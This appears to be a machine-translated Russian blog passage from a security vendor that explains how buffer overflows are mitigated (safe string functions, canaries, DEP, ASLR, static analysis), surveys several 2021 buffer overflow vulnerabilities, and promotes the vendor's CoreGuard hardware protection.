Плохая новость в том, что C не предоставляет стандартной безопасной альтернативы этим функциям. Хорошей новостью является то, что доступно несколько реализаций для конкретных платформ. OpenBSD предоставляет strlcpy и strlcat, которые работают аналогично strn-, за исключением того, что они обрезают строку на один символ раньше, чтобы освободить место для нулевого терминатора. Точно так же Microsoft предоставляет свои собственные безопасные реализации часто неправильно используемых функций обработки строк: strcpy_s, strcat_s и sprintf_s.Ниже приведена таблица, содержащая более безопасные альтернативы функциям, которых лучше избегать:
* Звездочками обозначены функции, не являющиеся частью стандартных библиотек C.
Предпочтительно использовать безопасные альтернативы, перечисленные выше. Когда это невозможно, необходимо выполнить ручную проверку границ и завершение нуля при обработке строковых буферов.
Как уменьшить переполнение буфера
В случае, если небезопасная функция оставляет возможность открытого переполнения, еще не все потеряно.Достигнуты успехи, чтобы помочь обнаружить эти уязвимости во время компиляции и выполнения. При запуске программы компиляторы часто создают случайные значения, известные как канарейки, и помещают их в стек после каждого буфера. Подобно птицам угольных шахт, в честь которых они названы, эти канареечные ценности сигнализируют об опасности. Сравнивая значение канарейки с исходным значением, можно определить, произошло ли переполнение буфера. Если значение было изменено, программу можно завершить или перейти в состояние ошибки, вместо того, чтобы переходить к потенциально измененному адресу возврата.
Некоторые современные операционные системы обеспечивают дополнительную защиту в виде неисполняемых стеков и рандомизации разметки адресного пространства (ASLR). Неисполняемые стеки (т.е. предотвращение выполнения данных [DEP]) помечают стек и в некоторых случаях другие структуры как области, где код не может быть выполнен. Это означает, что злоумышленник не может внедрить код эксплойта в стек и ожидать его успешного запуска.
ASLR
был разработан для защиты от программирования, ориентированного на возврат (обходной путь для неисполняемых стеков, когда существующие фрагменты кода объединяются в цепочку на основе смещений их адресов в памяти).Он работает путем рандомизации ячеек памяти структур, чтобы их смещения было труднее определить. Если бы эта защита существовала в конце 1980-х, червя Морриса, возможно, удалось бы предотвратить. Это связано с тем, что он частично функционировал, заполняя буфер в протоколе fingerd UNIX кодом эксплойта, а затем переполняя этот буфер, чтобы изменить адрес возврата, чтобы он указывал на буфер, заполненный кодом эксплойта. ASLR и DEP затруднили бы точное определение адреса, на который нужно указывать, если бы не сделали эту область памяти полностью неисполняемой.
Иногда уязвимость проскальзывает сквозь бреши, оставаясь уязвимой для атак, несмотря на меры контроля, действующие на уровне разработки, компилятора или операционной системы. Иногда первым признаком наличия переполнения буфера может быть успешная эксплуатация. В этой ситуации необходимо выполнить две важные задачи. Во-первых, необходимо идентифицировать уязвимость и изменить кодовую базу для решения проблемы. Во-вторых, цель состоит в том, чтобы гарантировать, что все уязвимые версии кода будут заменены новой исправленной версией.В идеале это должно начинаться с автоматического обновления, которое достигнет всех подключенных к Интернету систем, на которых запущено программное обеспечение.
Однако нельзя предполагать, что такое обновление обеспечит достаточный охват. Организации или отдельные лица могут использовать программное обеспечение в системах с ограниченным доступом к Интернету. Эти случаи требуют обновления вручную. Это означает, что новости об обновлении должны быть распространены среди всех администраторов, которые могут использовать программное обеспечение, а исправление должно быть легко доступно для загрузки.Создание и распространение исправлений должно происходить как можно ближе к обнаружению уязвимости. Таким образом, минимизация времени, в течение которого пользователи и системы становятся уязвимыми.
За счет использования функций безопасной обработки буфера и соответствующих функций безопасности компилятора и операционной системы можно создать надежную защиту от переполнения буфера. Даже при наличии этих шагов последовательное выявление этих недостатков является решающим шагом для предотвращения эксплойта. Перебирать строки исходного кода в поисках потенциальных переполнений буфера может быть утомительно.Кроме того, всегда есть вероятность того, что человеческий глаз может иногда пропускать. К счастью, инструменты статического анализа (подобные линтерам), которые используются для обеспечения качества кода, были разработаны специально для обнаружения уязвимостей безопасности во время разработки.
Например, статический анализ
Coverity выявляет красные флажки для потенциальных переполнений буфера. Затем их можно отсортировать и исправить индивидуально, вместо того, чтобы вручную искать их в базе кода. Эти инструменты в сочетании с регулярным обзором кода и знанием того, как бороться с переполнением буфера, позволяют выявить и устранить подавляющее большинство недостатков буфера до завершения разработки кода.
Подробнее о статическом анализе
в этом году (пока) при переполнении буфера
Да, вы правильно прочитали. До 2021 года осталось еще не два полных месяца, и мы уже говорим не об одной, а о нескольких крупных кибератаках, которые все возникли как переполнение буфера.
Мы много говорим о переполнении буфера здесь, в Dover Microsystems, и не зря. Это один из наиболее распространенных и серьезных типов уязвимостей программного обеспечения, влияющих на каждую систему, независимо от отрасли или области применения.Печально известные кибератаки, такие как Operation Soft Cell в 2019 году, Triton в 2017 году, Heartbleed в 2014 году и даже атака Stuxnet в 2009 году, начались с простого переполнения буфера
.
И мы уже знаем, что на каждую 1000 строк исходного кода приходится от 15 до 50 ошибок, при этом ежегодно создается около 93 миллиардов новых строк кода. Это также означает, что каждый год создаются миллиарды новых уязвимостей в программном обеспечении, а точнее, от 1,4 до 4,7 миллиарда новых уязвимостей.
На момент написания этой статьи с 1 января 2021 года было выявлено 59 новых уязвимостей, связанных с переполнением буфера. Таким образом, мы можем ожидать, что к концу года будет обнаружено более 350 новых уязвимостей, связанных с переполнением буфера. Конечно, мы знаем, что количество обнаруженных уязвимостей - это лишь малая часть того, что на самом деле существует в дикой природе. Могут пройти годы, а иногда и десятилетия, пока хоть одна уязвимость будет обнаружена хорошими парнями. К сожалению, чаще всего уязвимость не обнаруживается до тех пор, пока злоумышленник не воспользуется уязвимостью и не произойдет взлом.
Мы уже видели это в атаке Operation Soft Cell, которая заразила сети крупных телекоммуникационных провайдеров, таких как T-Mobile и AT&T. Атака была обнаружена в 2018 году, но представляла собой многоволновую атаку, которая длилась не менее шести лет и позволила злоумышленникам собрать более 100 ГБ данных, включая журналы вызовов и сообщений пользователей телекоммуникационных компаний. Атака была наконец предотвращена, когда исследовательская группа Cybereason обнаружила ее и сообщила пострадавшим телекоммуникационным организациям, что они подвергаются атаке.
Что такое переполнение буфера?
Переполнение буфера происходит, когда программа способна записать в буфер - или блок компьютерной памяти фиксированной длины - больше данных, чем она предназначена для хранения. Затем избыточные данные будут переполняться в соседний буфер, перезаписывая его содержимое и позволяя злоумышленнику изменить поток программы и выполнить атаку с внедрением кода.
Согласно MITER, переполнение буфера является причиной более 10 000 известных уязвимостей программного обеспечения, 23% из которых считаются серьезными.Серьезность CVE также классифицируется корпорацией MITRE. CVE считается серьезной, когда вектор атаки попадает в сеть, сложность атаки невысока, для успешной атаки не требуются особые привилегии или взаимодействие с пользователем, и в настоящее время не существует обходного пути для предотвращения атаки.
Причина, по которой переполнение буфера настолько распространено, заключается в том, что большинство приложений написано на C и C ++, оба из которых не имеют встроенной защиты от доступа или перезаписи данных где-либо в памяти.Они также не проверяют автоматически, находятся ли данные, записанные в буфер, в пределах этого буфера. В сочетании с тем фактом, что программные приложения становятся все более и более сложными и содержат миллионы строк кода, обнаружение и устранение всех потенциальных уязвимостей, связанных с переполнением буфера, перед выпуском практически невозможно.
Отсюда мы и оказались сегодня, с бесконечным потоком кибератак в новостях, многие из которых начинались с простого переполнения буфера. Давайте взглянем лишь на некоторые из них, которые появлялись в новостях в первые несколько недель года.
Переполнение буфера на основе кучи в Libgcrypt
В январе 2021 года разработчики Libgcrypt, криптографической библиотеки, которую разработчики используют при создании приложений, выпустили обновление безопасности после того, как в программном обеспечении была обнаружена серьезная уязвимость, связанная с переполнением буфера на основе кучи. Ошибка была обнаружена исследователем Google Project Zero, который предупредил, что ошибку легко использовать и что злоумышленник может записать произвольный код на целевую машину и выполнить этот код.
Многие программы полагаются на библиотеку libgcrypt с открытым исходным кодом, и затронутые организации используют широкий спектр программ - от государственных структур до малых предприятий.
Последнее обновление Apple iOS включает исправление безопасности для множественных уязвимостей переполнения буфера
Если вы владелец устройства Apple, вы, вероятно, уже знакомы со следующей атакой переполнения буфера. Даже моя менее чем технически подкованная мать отправила мне отчаянное сообщение: «Ты уже обновил свой телефон ?! ». В январе 2021 года Apple обнаружила три активно эксплуатируемых уязвимости в iOS, две из которых были в движке браузера, на котором работает Safari, а третья - переполнение буфера в ядре.
Все эти уязвимости предоставят злоумышленнику значительный доступ к устройству и данным в случае использования. Помимо повышения привилегий, обеспечиваемого ошибкой в ядре, две другие уязвимости, обнаруженные в WebKit, могут позволить удаленное выполнение вредоносного кода в браузере Safari пользователя. Хотя маловероятно, что многие устройства стали мишенью, это затронуло все поколения iPhone, кроме 6S, а также несколько поколений iPad и iPod touch седьмого поколения.
Ошибка Sudo, обнаруженная спустя годы после ее первого создания
Последняя атака, которую мы выделяем, - это эксплойт переполнения буфера Sudo, который был обнаружен и раскрыт в конце января, но существовал в дикой природе почти десять лет. Это потенциальное воздействие этой уязвимости огромно - она затронула большую часть экосистемы Linux и предоставила любому, кто воспользовался ошибкой, root-доступ из учетной записи с низким уровнем привилегий.
Уязвимость в значительной степени считается одной из самых опасных ошибок, обнаруженных в утилите Sudo на сегодняшний день, и существует риск того, что она будет использована в качестве второго этапа многокомпонентной атаки.Quayls, сторожевой таймер безопасности, который первым обнаружил ошибку, сказал, что если злоумышленники смогут взломать низкоуровневые учетные записи, они смогут воспользоваться уязвимостью переполнения буфера, чтобы получить удаленный доступ и полный контроль над атакованной системой.
Патчи безопасности как стратегия кибербезопасности крайне неадекватны
Не будет преувеличением сказать, что переполнение буфера чрезвычайно опасно и слишком часто. В идеальном мире выпущенные исправления безопасности будут успешно устранять проблемы после их обнаружения, и все будет в порядке.Однако это предполагает, что каждая система, в которой обнаружена уязвимость, немедленно загружает обновление программного обеспечения. К сожалению, мы знаем, что это не так. Фактически, сообщалось, что почти 60% всех утечек данных в 2019 году могут быть напрямую связаны с незащищенными уязвимостями. Многие факторы способствуют плохому управлению исправлениями, главным из которых является неизбежный и дорогостоящий простой системы. Это заставляет бизнес избегать установки исправлений, поскольку затраты на простои растут с увеличением масштаба бизнеса.Крупные организации могут столкнуться с простоями на сумму более 200 000 долларов за одно исправление безопасности.
В случае с ошибкой Sudo системы могли быть мишенью в течение десяти лет. Поскольку уязвимость Sudo почти повсеместна в системах Linux, эффект от этой ошибки огромен. Что касается организаций от Cisco до Apple, миллионы пользователей и, возможно, миллиарды устройств теперь нуждаются в обновлении и исправлении, чтобы предотвратить эксплуатацию, и, по всей вероятности, подавляющее большинство этих устройств останутся без исправлений в течение некоторого времени, если вообще будут.
Совершенно очевидно, что необходим упреждающий подход к кибербезопасности.
Предотвратите все (известные и неизвестные) переполнения буфера с помощью Dover's CoreGuard Ⓡ solution
Решение CoreGuard компании
Dover защищает от целых классов уязвимостей, включая переполнение буфера, так что предотвращаются даже эксплойты нулевого дня. Независимо от того, была ли ошибка обнаружена в прошлом году, сегодня или через несколько лет в будущем, технология Dover CoreGuard предотвратит ее использование.Это достигается за счет комбинации аппаратного и программного обеспечения, называемых микрополитиками, которые информируются с помощью метаданных.
Эти микрополитики способны остановить использование как известных уязвимостей, так и уязвимостей нулевого дня, поскольку они предназначены для предотвращения класса атаки, а не конкретной уязвимости, без необходимости выпускать обновление технологии. Это не означает, что уязвимость устранена на устройстве, защищенном CoreGuard, и рекомендуется исправить уязвимость как можно скорее.Тем не менее, эксплуатация будет предотвращена, что устранит необходимость в немедленных действиях, поскольку незащищенные системы не будут подвергаться опасности атаки.
Микрополитика кучи защищает от переполнения буфера в памяти кучи. Он работает, назначая цвет буферу, в котором находятся данные, а также указателю на этот буфер. Он обеспечивает, чтобы инструкция не могла записывать данные в буфер с цветом, который не соответствует цвету указателя на этот буфер. Следовательно, если есть попытка записать данные в буфер с неверно совпадающим указателем, оборудование CoreGuard выдаст нарушение и остановит выполнение инструкции.
Другая микрополитика, которая защищает безопасность памяти, - это микрополитика стека, которая предотвращает использование переполнения буфера в стеке, которое можно использовать для выполнения атаки с разбиванием стека. Атака разбиения стека происходит, когда переполнение буфера перезаписывает данные в памяти, выделенной для стека. С помощью микрополитики стека решение Dover CoreGuard использует метаданные для маркировки кода функции и ее данных в стеке, а затем блокирует любую инструкцию, которая пытается нарушить структура стека определяется метаданными.Другими словами, если злоумышленник попытается использовать переполнение буфера для записи данных в память стека, CoreGuard заблокирует эту попытку и выдаст нарушение, поскольку этих данных больше, чем было спроектировано для хранения стека.
Чтобы увидеть в действии технологию Dover CoreGuard, предотвращающую использование переполнения буфера, запросите демонстрацию сегодня.